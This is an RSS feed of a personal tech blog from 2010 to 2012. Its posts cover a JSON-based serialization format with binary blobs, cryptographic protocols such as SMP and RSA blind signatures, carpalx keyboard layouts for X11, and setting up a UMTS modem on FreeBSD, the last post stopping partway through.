<?xml version='1.0' encoding='UTF-8' ?>
<rss version='2.0' xmlns:atom='http://www.w3.org/2005/Atom'>
<channel>
<title>KHJK</title>
<link>http://www.khjk.org/</link>
<description>Karl Hans Janke Kollaborativ</description>
<language>de</language>
<webMaster>sm@khjk.org (Sven Moritz Hallberg)</webMaster>
<atom:link href='http://www.khjk.org/rss.xml' rel='self' type='application/rss+xml' />
<pubDate>11 Jun 2012 00:00 GMT</pubDate>
<lastBuildDate>11 Jun 2012 00:00 GMT</lastBuildDate>
<item>
<title>JSON with blobs, still context-free</title>
<link>http://www.khjk.org/log/2012/jun/datalang.html</link>
<description>
&#60;p /&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;a href="log/2012/jun/datalang.medium.jpg"&#62;&#60;img src="log/2012/jun/datalang.klein.jpg" alt="datalang.klein.jpg" /&#62;&#60;/a
&#62;&#60;/div
&#62;&#60;div class="floatcaption"&#62;Pen and paper design.
&#60;/div
&#62;&#60;/div
&#62;&#60;p /&#62;Inspired by their talk
&#60;a href="http://media.ccc.de/browse/congress/2011/28c3-4763-en-the_science_of_insecurity.html"&#62;&#60;q&#62;The Science of Insecurity&#60;/q
&#62;&#60;/a
&#62;
I took Meredith Patterson and Sergey Bratus by their word and
tried to solve my next network communication problem
without crossing the line beyond deterministic context-free
languages.
&#60;p /&#62;The upshot of said talk was that most if not all security problems
stem from the fact that some software component could not
foresee the consequences of its input.
From a language-theoretic point of view,
the problem boils down
to &#60;em&#62;recognizing&#60;/em
&#62; the set (&#60;q&#62;language&#60;/q
&#62;) of acceptable inputs.
There are different classes of languages
whose recognizers require increasingly complex mechanisms.
Things are basically pleasant with
&#60;em&#62;regular&#60;/em
&#62; languages and one step up,
aforementioned &#60;em&#62;deterministic context-free&#60;/em
&#62; ones.
Up to this point we can algorithmically decide
whether two specifications describe the same language;
whether two peers in the network are cleanly interoperable.
&#60;p /&#62;When I was looking for a good
&#60;a href="http://en.wikipedia.org/wiki/Comparison_of_data_serialization_formats"&#62;data serialization format&#60;/a
&#62;,
in addition to my original requirements,
I went looking for one that had a deterministic context-free grammar.
Incidentally, one of the things I wanted to be able to do
was efficiently transfer relatively large blocks of arbitrary data.
Unfortunately, what immediately catapults you into the
land of (mildly) context-&#60;em&#62;sensitive&#60;/em
&#62; languages are length fields.
&#60;p /&#62;JSON (as implied by the title) would have been my favorite choice,
but the best way to put binary blobs in it is
by encoding them as Base64-encoded strings.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;{ "message":    "Hi, Bob!"
, "attachment": "ZGFmdXFpc3RoaXM="
}
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;For one thing, this means overhead in encoding time, decoding time and data volume.
Also it is unsatisfying because one property of JSON is
self-descriptiveness:
recognizing a JSON value reveals its type.
Base64 blobs would be hidden in strings and force the recipient
to know exactly where to expect them.
&#60;p /&#62;A short note about overhead and efficiency concerns.
It is generally rightfully considered foolish to optimize prematurely.
From &#60;em&#62;most&#60;/em
&#62; standpoints, computers are fast, bandwidth is cheap
and you are probably wasting ten times as much elsewhere
as avoiding Base64 would ever save.
Nevertheless, optimizing for efficiency is not useless
and in the right place, a constant factor can make all the difference.
Base64 &#60;em&#62;will&#60;/em
&#62; turn your 3GB download into a 4GB one.
More importantly,
I am treating this endeavor as much as an academic as a practical one,
asking &#60;q&#62;could we&#60;/q
&#62; as much as &#60;q&#62;do we want to&#60;/q
&#62;.
So below is the answer I came up with.
&#60;p /&#62;The idea is to break binary data into chunks of uniform size.
I chose 4096 bytes rather arbitrarily.
Allow one final chunk of variable length and encode that one in Base64.
So every 4kB, there is one character (&#60;span style="font-family:monospace"&#62;#&#60;/span
&#62;)
which means &#60;q&#62;another 4k coming&#60;/q
&#62;.
There need not be any such &#60;q&#62;raw chunks&#60;/q
&#62;;
they are always followed by exactly one
(possibly empty) Base64 string enclosed in &#60;span style="font-family:monospace"&#62;%&#60;/span
&#62;.
Examples:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;#.....#.....%ZGFmdXFp%
#.....#.....%%
%ZGFmdXFp%
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;This syntax is added to JSON, along with a few other extensions.
&#60;p /&#62;&#60;b&#62; Design goals &#60;/b
&#62;
&#60;p /&#62;&#60;ul&#62;&#60;li&#62;Stay deterministic context-free.
&#60;/li
&#62;&#60;li&#62;Avoid escaping or re-encoding every byte in binary blobs.
&#60;/li
&#62;&#60;li&#62;Simple grammar.
&#60;/li
&#62;&#60;li&#62;Self-describing structure.
&#60;/li
&#62;&#60;li&#62;Stay reasonably human-readable and human-writable.
&#60;/li
&#62;&#60;li&#62;Minimize attack surface for bugs.
&#60;/li
&#62;&#60;/ul
&#62;&#60;p /&#62;&#60;ul&#62;&#60;li&#62;Plus: Allow exact representation of binary floating point numbers.
&#60;/li
&#62;&#60;li&#62;Plus: Allow strings to use any character encoding.
&#60;/li
&#62;&#60;li&#62;Plus: Do not use newlines as syntax, allow arbitrary values to be serialized
into single lines.
&#60;/li
&#62;&#60;li&#62;Plus: Provide for easy streaming of values.
&#60;/li
&#62;&#60;/ul
&#62;&#60;p /&#62;&#60;b&#62; Non-goals &#60;/b
&#62;
&#60;p /&#62;&#60;ul&#62;&#60;li&#62;Optimal size.
&#60;/li
&#62;&#60;li&#62;Optimal speed.
&#60;/li
&#62;&#60;/ul
&#62;&#60;p /&#62;Notwithstanding the goal to support efficiency with large blobs,
this format is not meant to squeeze every last bit out of everything.
That conflicts with self-descriptiveness and is what 
&#60;a href="https://developers.google.com/protocol-buffers/"&#62;Protocol Buffers&#60;/a
&#62;
are for.
&#60;p /&#62;&#60;b&#62; Characteristics &#60;/b
&#62;
&#60;p /&#62;&#60;ul&#62;&#60;li&#62;Proper superset of UTF-8-encoded JSON.
&#60;/li
&#62;&#60;li&#62;Types:
&#60;ul&#62;&#60;li&#62;Null
&#60;/li
&#62;&#60;li&#62;Boolean
&#60;/li
&#62;&#60;li&#62;Number
&#60;/li
&#62;&#60;li&#62;Byte-Array
&#60;/li
&#62;&#60;li&#62;String
&#60;/li
&#62;&#60;li&#62;List (= JSON &#60;q&#62;arrays&#60;/q
&#62;)
&#60;/li
&#62;&#60;li&#62;Record (= JSON &#60;q&#62;objects&#60;/q
&#62;)
&#60;/li
&#62;&#60;/ul
&#62;&#60;/li
&#62;&#60;li&#62;Defined in &#60;a href="http://www.faqs.org/rfcs/rfc5234.html"&#62;ABNF&#60;/a
&#62;.
&#60;ul&#62;&#60;li&#62;~150 lines.
&#60;/li
&#62;&#60;li&#62;Transcribes trivially to a PEG.
&#60;/li
&#62;&#60;/ul
&#62;&#60;/li
&#62;&#60;li&#62;All syntax is ASCII.
&#60;ul&#62;&#60;li&#62;No other external encodings allowed.
&#60;/li
&#62;&#60;/ul
&#62;&#60;/li
&#62;&#60;li&#62;Strings are tagged with their encoding.
&#60;ul&#62;&#60;li&#62;No tag means UTF-8.
&#60;/li
&#62;&#60;li&#62;JSON-style unicode escapes &#60;span style="font-family:monospace"&#62;\u....&#60;/span
&#62; supported for compatibility.
&#60;ul&#62;&#60;li&#62;UTF-16 surrogate pairs recognized by grammar.
&#60;/li
&#62;&#60;li&#62;Parsers SHOULD properly recode these for UTF-8 strings.
&#60;/li
&#62;&#60;/ul
&#62;&#60;/li
&#62;&#60;/ul
&#62;&#60;/li
&#62;&#60;li&#62;Arbitrary bytes in strings via hexadecimal escapes &#60;span style="font-family:monospace"&#62;\x..&#60;/span
&#62;.
&#60;/li
&#62;&#60;li&#62;Numbers are arbitrary-precision rationals.
&#60;/li
&#62;&#60;li&#62;Hexadecimal notation for numbers supported.
&#60;ul&#62;&#60;li&#62;Including hexadecimal fraction and exponent notation.
&#60;/li
&#62;&#60;/ul
&#62;&#60;/li
&#62;&#60;li&#62;Top-level &#60;q&#62;document&#60;/q
&#62; consists of one value of any type.
&#60;ul&#62;&#60;li&#62;JSON only allows arrays and objects.
&#60;/li
&#62;&#60;/ul
&#62;&#60;/li
&#62;&#60;li&#62;Defined syntax for top-level value streams.
&#60;ul&#62;&#60;li&#62;Values terminated by newlines.
&#60;/li
&#62;&#60;li&#62;Allows parser for rule &#60;span style="font-family:monospace"&#62;stream-element&#60;/span
&#62; to
simply be called repeatedly on input stream.
&#60;/li
&#62;&#60;/ul
&#62;&#60;/li
&#62;&#60;/ul
&#62;&#60;p /&#62;&#60;b&#62; Example &#60;/b
&#62;
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;{ "null":         null
, "boolean":      true
, "integer":      1234
, "rational":     1234.56
, "exponent":     1234.56e2
, "hexadecimal":  0x123AB.CDxE
, "bytes":        %ZGFmdXFp%
, "string":       "Hello"
, "encoding":     "Mot\xF6rhead"_latin1
, "list":         [23,"skidoo"]
, "record":       {}
}
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;&#60;b&#62; Show me the code! &#60;/b
&#62;
&#60;p /&#62;Glad you asked!
The child currently carries the rather stupid working title &#60;q&#62;datalang&#60;/q
&#62;
and resides in a &#60;a href="http://code.khjk.org/datalang/"&#62;repository&#60;/a
&#62; here:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;darcs get http://code.khjk.org/datalang/
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Included is the &#60;a href="http://code.khjk.org/datalang/grammar.abnf"&#62;ABNF grammar&#60;/a
&#62;
as well as a &#60;a href="http://code.khjk.org/datalang/parser.c"&#62;demo parser&#60;/a
&#62;
implemented in C using &#60;a href="http://github.com/UpstandingHackers/hammer"&#62;&#60;span style="font-family:monospace"&#62;hammer&#60;/span
&#62;&#60;/a
&#62;.
Oh right, &#60;span style="font-family:monospace"&#62;hammer&#60;/span
&#62;.
Given that this post has already turned into a novel,
I am going to save that for later.
&#60;p /&#62;&#60;b&#62;PS:&#60;/b
&#62;
 If anyone thinks of a better name than &#60;em&#62;datalang&#60;/em
&#62;,
your suggestion is very welcome at my easily-guessed email address.
</description>
<author>pesco@khjk.org (pesco)</author>
<guid>http://www.khjk.org/log/2012/jun/datalang.html</guid>
<pubDate>11 Jun 2012 00:00 GMT</pubDate>
</item>
<item>
<title>Fingerprints are so 90s</title>
<link>http://www.khjk.org/log/2012/apr/smp.html</link>
<description>
&#60;p /&#62;&#60;div class="float" style="float:right"&#62;&#60;div class="floatcontent"&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;img src="log/2012/apr/smp/p01.klein.jpg" alt="p01.klein.jpg" /&#62;&#60;/div
&#62;&#60;/div
&#62;&#60;/div
&#62;&#60;/div
&#62;&#60;p /&#62;A few years back I prepared a presentation on the so-called
&#60;em&#62;Socialist Millionaires' Protocol&#60;/em
&#62; (SMP) for a university seminar.
SMP is a solution to the problem of key authentication
devised for &#60;a href="http://www.cypherpunks.ca/otr/"&#62;OTR&#60;/a
&#62; (Off-the-Record),
the system for instant-messaging encryption.
&#60;p /&#62;Today I held a short version of the presentation
for non-mathematicians at the &#60;a href="http://www.hamburg.ccc.de/"&#62;CCC Hamburg&#60;/a
&#62;.
For the benefit of the Internet,
the awesomely hand-made &#60;a href="log/2012/apr/smp/slides/"&#62;slides&#60;/a
&#62;
are in English.
There is also a handy &#60;a href="log/2012/apr/smp/handout.pdf"&#62;hand-out&#60;/a
&#62;
with a protocol diagram.
&#60;p /&#62;The &#60;a href="log/2012/apr/smp/smp.pdf"&#62;written presentation&#60;/a
&#62; for the course
is &#60;strong&#62;completely in German&#60;/strong
&#62; and math-rich.
I did try hard to make it a clear read for the so-inclined.
Have fun! :)
</description>
<author>pesco@khjk.org (pesco)</author>
<guid>http://www.khjk.org/log/2012/apr/smp.html</guid>
<pubDate>24 Apr 2012 22:22 GMT</pubDate>
</item>
<item>
<title>An introduction to Bitcoin</title>
<link>http://www.khjk.org/log/2011/jul/bitcoin.html</link>
<description>
&#60;p /&#62;I held a little intro talk about &#60;a href="http://www.bitcoin.org/"&#62;Bitcoin&#60;/a
&#62; last night
at a local Linux meetup kinda thing. It was a light technical description of
what the system is and how it works.
&#60;p /&#62;Here are the &#60;a href="log/2011/jul/btc.pdf"&#62;slides&#60;/a
&#62; and
their LaTeX &#60;a href="log/2011/jul/btc.zip"&#62;sources&#60;/a
&#62;. That is all.
</description>
<author>pesco@khjk.org (pesco)</author>
<guid>http://www.khjk.org/log/2011/jul/bitcoin.html</guid>
<pubDate>5 Jul 2011 10:30 GMT</pubDate>
</item>
<item>
<title>Blind signature basics</title>
<link>http://www.khjk.org/log/2011/apr/blindsigs.html</link>
<description>
&#60;p /&#62;&#60;div class="float" style="float:left"&#62;&#60;div class="floatcontent"&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;img src="log/2011/apr/signature.klein.jpg" alt="signature.klein.jpg" /&#62;&#60;/div
&#62;&#60;/div
&#62;&#60;/div
&#62;&#60;/div
&#62;&#60;p /&#62;I'm starting work on my diploma thesis this month.
The exact topic isn't set in stone yet,
but it will be something crypto.
If everything goes dreamy-awesome,
I'll find something nice to write about lattice-based
blind signatures or somesuch.
Background:
&#60;p /&#62;&#60;ul&#62;&#60;li&#62;Blind signatures are used for e-cash.
I'm fascinated with e-cash.
&#60;/li
&#62;&#60;li&#62;Lattice-based methods are candidates for quantum-resistant systems.
Appearently there's lots of current research going on.
&#60;/li
&#62;&#60;li&#62;I've done some lattice theory at Charles University in Prague.
Never thought I'd see it again, so wouldn't that be something.
&#60;/li
&#62;&#60;li&#62;There's zero knowledge in there somewhere.
Another fascination.
&#60;/li
&#62;&#60;/ul
&#62;&#60;p /&#62;So, time to sum up the basics.
As far as my history serves,
David Chaum invented blind signatures in the 80s for electronic voting
but nobody wanted to buy that,
so he also invented electronic cash.
Then he got really paranoid and didn't sell it either.
Real quick summary. ;)
&#60;p /&#62;Anyway&#38;#8230;
&#60;p /&#62;The principle is to mix whatever you want signed
(electronic voting ballot, 100 EUR banknote)
with a random &#60;q&#62;blinding factor&#60;/q
&#62;
and divide that out only after Trent
(your government, bank) has signed.
Thus Trent cannot recognize and connect the note to you
when it comes back to him later.
&#60;p /&#62;The classic algorithm is based on RSA and is painted up fast.
Unfortunately, my awesome markup language still has no fancy math support
so you have to live with ASCII art:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;m = message to be signed
e = public "encryption" (i.e. verification) exponent
n = public modulus
d = secret "decryption" (i.e. signing) exponent
k = blinding factor (just a random number)

x^(de) = x^(ed) = x (mod n)         -- RSA property

Alice prepares:  mk^e               -- blinded message
Trent signs:     (mk^e)^d = m^d k
Alice unblinds:  m^d k / k = m^d    -- signed message
Bob can check:   (m^d)^e = m
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;One might think that signing something completely blindly might be a bad idea.
After all, a bank needs to know the value of the note it is signing.
To ensure &#60;em&#62;any&#60;/em
&#62; desired property of the signed document,
Trent can require a &#60;q&#62;cut-and-choose&#60;/q
&#62; step.
In this case Alice must give him &#60;em&#62;n&#60;/em
&#62; different but equivalent messages.
He chooses one of them and asks Alice to unblind all the others.
Trent signs the remaining blinded one if
the others satisfy the desired property.
Alice's chance to cheat of &#60;em&#62;1:n&#60;/em
&#62; can be made unattractive
by attaching a suitable penalty.
</description>
<author>pesco@khjk.org (pesco)</author>
<guid>http://www.khjk.org/log/2011/apr/blindsigs.html</guid>
<pubDate>29 Apr 2011 21:00 GMT</pubDate>
</item>
<item>
<title>Making a stupid little time waster with Javascript</title>
<link>http://www.khjk.org/log/2011/mar/memory.html</link>
<description>
&#60;p /&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;img src="log/2011/mar/memory.klein.png" alt="memory.klein.png" /&#62;&#60;/div
&#62;&#60;div class="floatcaption"&#62;Awesome!
&#60;/div
&#62;&#60;/div
&#62;&#60;p /&#62;I used the weekend to code
&#60;a href="http://kompilierfreizeit.de/memory"&#62;a little memory game&#60;/a
&#62;
in Javascript.
Apart from being pointless and annoying
(especially if your visual memory sucks as much as mine),
I think it turned out lovely!
&#60;p /&#62;I was hoping to gain some experience with user-facing Javascript
from it, as
previous excursions into the
&#60;a href="http://javascript.crockford.com/javascript.html"&#62;misunderstood programming language&#60;/a
&#62;
have been minimal in &#60;a href="http://www.khjk.org/log/2010/aug/pixpls.html"&#62;one way&#60;/a
&#62;
or &#60;a href="http://www.khjk.org/log/2010/nov/jsbigint.html"&#62;another&#60;/a
&#62;.
So, this time I got to use some actual objects.
Structured data, woo!
&#60;p /&#62;I poked around the design space a little to see what was up with
Crockford's take on &#60;a href="http://javascript.crockford.com/prototypal.html"&#62;prototypal inheritance&#60;/a
&#62;
vs. &#60;a href="http://stackoverflow.com/questions/383402/is-javascript-s-new-keyword-considered-harmful"&#62;others' assertions&#60;/a
&#62;
that his dislike of the &#60;span style="font-family:monospace"&#62;new&#60;/span
&#62;-operator was ill-founded.
You can look at &#60;a href="http://kompilierfreizeit.de/memory/memorygame.js"&#62;the code&#60;/a
&#62;
to see what I settled on in this instance,
but maybe I'll leave that discussion for another post.
Suffice it to say, it's a bit of a mish-mash
but I'm sure it will crystallize nicely.
&#60;p /&#62;Oh yeah, and this is going onto my &#60;strong&#62;side project&#60;/strong
&#62;
(I desperately needed one!) site
&#60;a href="http://kompilierfreizeit.de/"&#62;kompilierfreizeit.de&#60;/a
&#62;.
I'm going to collect some nice other time wasters there,
but won't say it out too loud, yet.
That would just make me feel obligated&#38;#8230;
&#60;p /&#62;Have fun!
</description>
<author>pesco@khjk.org (pesco)</author>
<guid>http://www.khjk.org/log/2011/mar/memory.html</guid>
<pubDate>14 Mar 2011 22:13 GMT</pubDate>
</item>
<item>
<title>Tron (1982) awesomenesses</title>
<link>http://www.khjk.org/log/2011/jan/tron.html</link>
<description>
&#60;p /&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;img src="log/2011/jan/tron-pacman.klein.jpg" alt="tron-pacman.klein.jpg" /&#62;&#60;/div
&#62;&#60;/div
&#62;&#60;p /&#62;I just (re)watched the original Tron. Highlights:
&#60;p /&#62;&#60;ul&#62;&#60;li&#62;Adam, Tron's user, has the phrase
&#60;a href="http://en.wikipedia.org/wiki/Klaatu_barada_nikto"&#62;&#60;q&#62;gort klaatu barada niktu&#60;/q
&#62;&#60;/a
&#62;
posted up in large letters on his cubicle wall.
This is not a reference to &#60;q&#62;Army of Darkness&#60;/q
&#62; (1992, duh) but to
&#60;q&#62;The Day the Earth Stood Still&#60;/q
&#62;.
I should watch that.
&#60;/li
&#62;&#60;li&#62;The screen in the control room of bad guy's ship shows pac-man in one scene
(see image above).
&#60;/li
&#62;&#60;li&#62;The image of Moses in Southpark episode &#60;q&#62;Jewbilee&#60;/q
&#62; (s03e09) is modeled after
the Master Control Program (see image below).
&#60;/li
&#62;&#60;li&#62;Spotted &#60;a href="http://en.wikipedia.org/wiki/Ken_Perlin"&#62;Kenneth Perlin&#60;/a
&#62;
in the credits.
&#60;/li
&#62;&#60;/ul
&#62;&#60;p /&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;img src="log/2011/jan/mcp-moses.klein.jpg" alt="mcp-moses.klein.jpg" /&#62;&#60;/div
&#62;&#60;/div
&#62;</description>
<author>pesco@khjk.org (pesco)</author>
<guid>http://www.khjk.org/log/2011/jan/tron.html</guid>
<pubDate>27 Jan 2011 00:30 GMT</pubDate>
</item>
<item>
<title>carpalx keyboard layouts for X11</title>
<link>http://www.khjk.org/log/2011/jan/carpalx.html</link>
<description>
&#60;p /&#62;&#60;a href="http://mkweb.bcgsc.ca/carpalx/"&#62;&#60;span style="font-family:monospace"&#62;carpalx&#60;/span
&#62;&#60;/a
&#62; is a program for the algorithmic
evaluation and optimization of keyboard layouts.
The site is a wealth of information and adds a nice scientific angle
to the endless discussion of alternatives to the QWERTY layout.
First of all
it provides evaluations and comparisons of several popular layouts,
including &#60;a href="http://en.wikipedia.org/wiki/Dvorak_Simplified_Keyboard"&#62;Dvorak&#60;/a
&#62;
and &#60;a href="http://colemak.com/"&#62;Colemak&#60;/a
&#62;.
In addition
it describes a number of layouts generated by the program,
optimized to certain parameters and side conditions.
Within the given effort metric,
they improve significantly over all alternatives.
&#60;p /&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;img src="log/2011/jan/qgmlwb.klein.png" alt="qgmlwb.klein.png" /&#62;&#60;/div
&#62;&#60;div class="floatcaption"&#62;&#60;span style="font-family:monospace"&#62;carpalx&#60;/span
&#62;' fully optimized layout with Colemak lettermask, &#60;q&#62;QGMLWB&#60;/q
&#62;.
&#60;/div
&#62;&#60;/div
&#62;&#60;p /&#62;I've created an XKB definition file that allows the five featured layouts
to be used with X11.
In fact, it also includes the &#60;q&#62;worst layout&#60;/q
&#62; TNWMLC
which &#60;em&#62;maximizes&#60;/em
&#62; the effort metric. Don't use that, though.
&#60;p /&#62;To install, copy &#60;a href="log/2011/jan/carpalx.xkb"&#62;&#60;span style="font-family:monospace"&#62;carpalx.xkb&#60;/span
&#62;&#60;/a
&#62; to your XKB
symbols directory (path my differ slightly)
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;$ cp carpalx.xkb /usr/share/X11/xkb/symbols/carpalx
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;and add the following lines to &#60;span style="font-family:monospace"&#62;/usr/share/X11/xkb/symbols.dir&#60;/span
&#62;:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;-dp----- a------- carpalx(qgmlwb)
--p----- a------- carpalx(qgmlwy)
--p----- a------- carpalx(qfmlwy)
--p----- a------- carpalx(qwkrfy)
--p----- a------- carpalx(qwyrfm)
--p----- a------- carpalx(tnwmlc)
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Now it should be possible to load the layouts with, e.g.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;$ setxkbmap carpalx                            # defaults to QGMLWB
$ setxkbmap -layout carpalx -variant qwkrfy    # to select other variants
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Technically, the following files should also be updated:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;/usr/share/X11/xkb/rules/xorg.lst
/usr/share/X11/xkb/rules/xorg.xml
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;For the time being I couldn't be bothered, but
I think that's necessary if the layouts are to show up in Gnome and KDE control
panels.
&#60;p /&#62;&#60;b&#62;PS:&#60;/b
&#62;
 Dear search engines, X11 means X Window System,
means this lets you use carpalx layouts on Linux (desktops).
Or FreeBSD for that matter.
</description>
<author>pesco@khjk.org (pesco)</author>
<guid>http://www.khjk.org/log/2011/jan/carpalx.html</guid>
<pubDate>23 Jan 2011 17:14 GMT</pubDate>
</item>
<item>
<title>Getting FreeBSD on the Net via UMTS</title>
<link>http://www.khjk.org/log/2010/dec/umts-stick.html</link>
<description>
&#60;p /&#62;So, now I know how to make these USB UMTS stick thingies work&#38;#8230;
&#60;p /&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;a href="log/2010/dec/umts-stick.medium.jpg"&#62;&#60;img src="log/2010/dec/umts-stick.klein.jpg" alt="umts-stick.klein.jpg" /&#62;&#60;/a
&#62;&#60;/div
&#62;&#60;/div
&#62;&#60;p /&#62;I've been meaning to get one for a while,
so I got a cheap SIM-locked stick with a prepaid plan
for this year's post-christmas gadget shopping.
I'm recording how I got it to work as much for my own sake
as anyone else's&#38;#8230;
&#60;p /&#62;For FreeBSD, you need the &#60;span style="font-family:monospace"&#62;u3g&#60;/span
&#62; driver.
My model is a HUAWEI E1750,
which is one of several supported by the driver.
Here's what &#60;span style="font-family:monospace"&#62;dmesg&#60;/span
&#62; shows:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;ugen3.2: &#38;#60;vendor 0x12d1&#38;#62; at usbus3
ugen3.2: &#38;#60;vendor 0x12d1&#38;#62; at usbus3 (disconnected)
ugen3.2: &#38;#60;HUAWEI Technology&#38;#62; at usbus3
u3g0: &#38;#60;HUAWEI Technology HUAWEI Mobile, class 0/0,
    rev 2.00/0.00, addr 2&#38;#62; on usbus3
u3g0: Found 4 ports.
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Note the &#60;q&#62;4 ports&#60;/q
&#62; message.
These things act like an old modem,
presenting a virtual serial port on which they accept
&#60;q&#62;AT&#60;/q
&#62; commands.
Just like old times.
Actually, they often present several ports serving
different functions.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;$ ls /dev/cuaU?.?
/dev/cuaU0.0    /dev/cuaU0.1    /dev/cuaU0.2    /dev/cuaU0.3
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;You have to find the one to use by experimentation.
I learned that &#60;span style="font-family:monospace"&#62;screen&#60;/span
&#62; can actually be used as a terminal emulator
for this (instead of the clunky old &#60;span style="font-family:monospace"&#62;minicom&#60;/span
&#62;):
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;$ screen /dev/cuaU0.0
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Type &#60;span style="font-family:monospace"&#62;AT&#60;/span
&#62; and see if you get an &#60;span style="font-family:monospace"&#62;OK&#60;/span
&#62; reply.
&#60;p /&#62;Most sticks also present mass storage devices.
There is usually an emulated &#60;q&#62;CD&#60;/q
&#62; drive that contains
driver software for Windows and MacOS.
Some models appearently require this &#60;q&#62;disk&#60;/q
&#62; to be &#60;q&#62;ejected&#60;/q
&#62;
before even switching on the modem part.
I'm not sure if mine does;
the &#60;span style="font-family:monospace"&#62;u3g&#60;/span
&#62; manpage states that it should happen
transparently (look for &#60;q&#62;u3gstub&#60;/q
&#62;).
&#60;p /&#62;This model also has a microSD slot that can be used
like any regular usb storage device.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;cd0 at umass-sim0 bus 0 scbus0 target 0 lun 0
cd0: &#38;#60;HUAWEI Mass Storage 2.31&#38;#62; Removable CD-ROM SCSI-2 device 
[...]
da0 at umass-sim1 bus 1 scbus1 target 0 lun 0
da0: &#38;#60;HUAWEI SD Storage 2.31&#38;#62; Removable Direct Access SCSI-2 device 
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;Since the SIM card is usually protected by a PIN,
one needs to enter this before it will perform its function.
These and other UMTS-specific functions are simply accessed by
special AT commands.
Many have a &#60;q&#62;query&#60;/q
&#62; variant ending in a question mark that will
report the current status and a &#60;q&#62;set&#60;/q
&#62; function with an equals sign.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;&#38;#62; AT+CPIN?
+CPIN: SIM PIN
OK
&#38;#62; AT+CPIN=1234
OK
&#38;#62; AT+CPIN?
+CPIN: READY
OK
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;If you don't care about feedback,
the PIN entry can be done by writing directly to the device file.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;$ echo "AT+CPIN=1234" &#38;#62; /dev/cuaU0.0
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;My device now signals its ready status by blinking its LED in
a different color and rhythm.
&#60;p /&#62;&#60;div class="float" style="float:none"&#62;&#60;div class="floatcontent"&#62;&#60;a href="log/2010/dec/umts-fiddling.medium.jpg"&#62;&#60;img src="log/2010/dec/umts-fiddling.klein.jpg" alt="umts-fiddling.klein.jpg" /&#62;&#60;/a
&#62;&#60;/div
&#62;&#60;div class="floatcaption"&#62;Lots of fiddling later&#38;#8230;
&#60;/div
&#62;&#60;/div
&#62;&#60;p /&#62;Now for the PPP connection (just like old times!),
in &#60;span style="font-family:monospace"&#62;/etc/ppp/ppp.conf&#60;/span
&#62;:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;o2:
 set log Phase Chat LCP IPCP CCP tun command +connect
 set device /dev/cuaU0.0
 set speed 460800
 set dial "ABORT BUSY ABORT NO\\sCARRIER ABORT ERROR TIMEOUT 5 \
           \"\" \
           AT OK-AT-OK \
           AT+CFUN=1 OK-AT-OK \
           AT+CSQ OK \
           AT+CGDCONT=1,\\\"IP\\\",\\\"internet\\\" OK \
           AT+CGACT? OK \
           AT+CGATT? OK \
           ATD*99***1# CONNECT"
 set timeout 180			# 3 minute idle timer (the default)
 set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0
 set vj slotcomp off
 set crtscts on
 add default HISADDR   # set default route
 enable dns            # set dns servers in resolv.conf
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;There is a bunch of stuff in there I just copied from examples
on the web. Let's see:
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;set log Phase Chat LCP IPCP CCP tun command +connect
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;This makes &#60;span style="font-family:monospace"&#62;ppp&#60;/span
&#62; write all kinds of stuff to syslog (&#60;span style="font-family:monospace"&#62;/var/log/ppp.log&#60;/span
&#62;).
Very useful if something goes wrong, but completely optional.
The keywords after &#60;q&#62;set log&#60;/q
&#62; select different parts of the whole
exchange and can be left out individually if desired.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;set speed 460800
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;No idea if this is necessary.
All kinds of &#60;q&#62;baud rates&#60;/q
&#62; seem to just work.
&#60;p /&#62;&#60;pre&#62;&#60;code&#62;set dial "ABORT BUSY ABORT NO\\sCARRIER ABORT ERROR ...
&#60;/code
&#62;&#60;/pre
&#62;&#60;p /&#62;The &#60;q&#62;dial&#60;/q
&#62; setting is the conversation script &#60;span style="font-family:monospace"&#62;ppp&#60;/span
&#62; follows
in order to set off the right sequence of AT commands that
open the connection.
This is actually executed by chat(8).
See that manpage for the syntax.
The first line sets abort conditions.
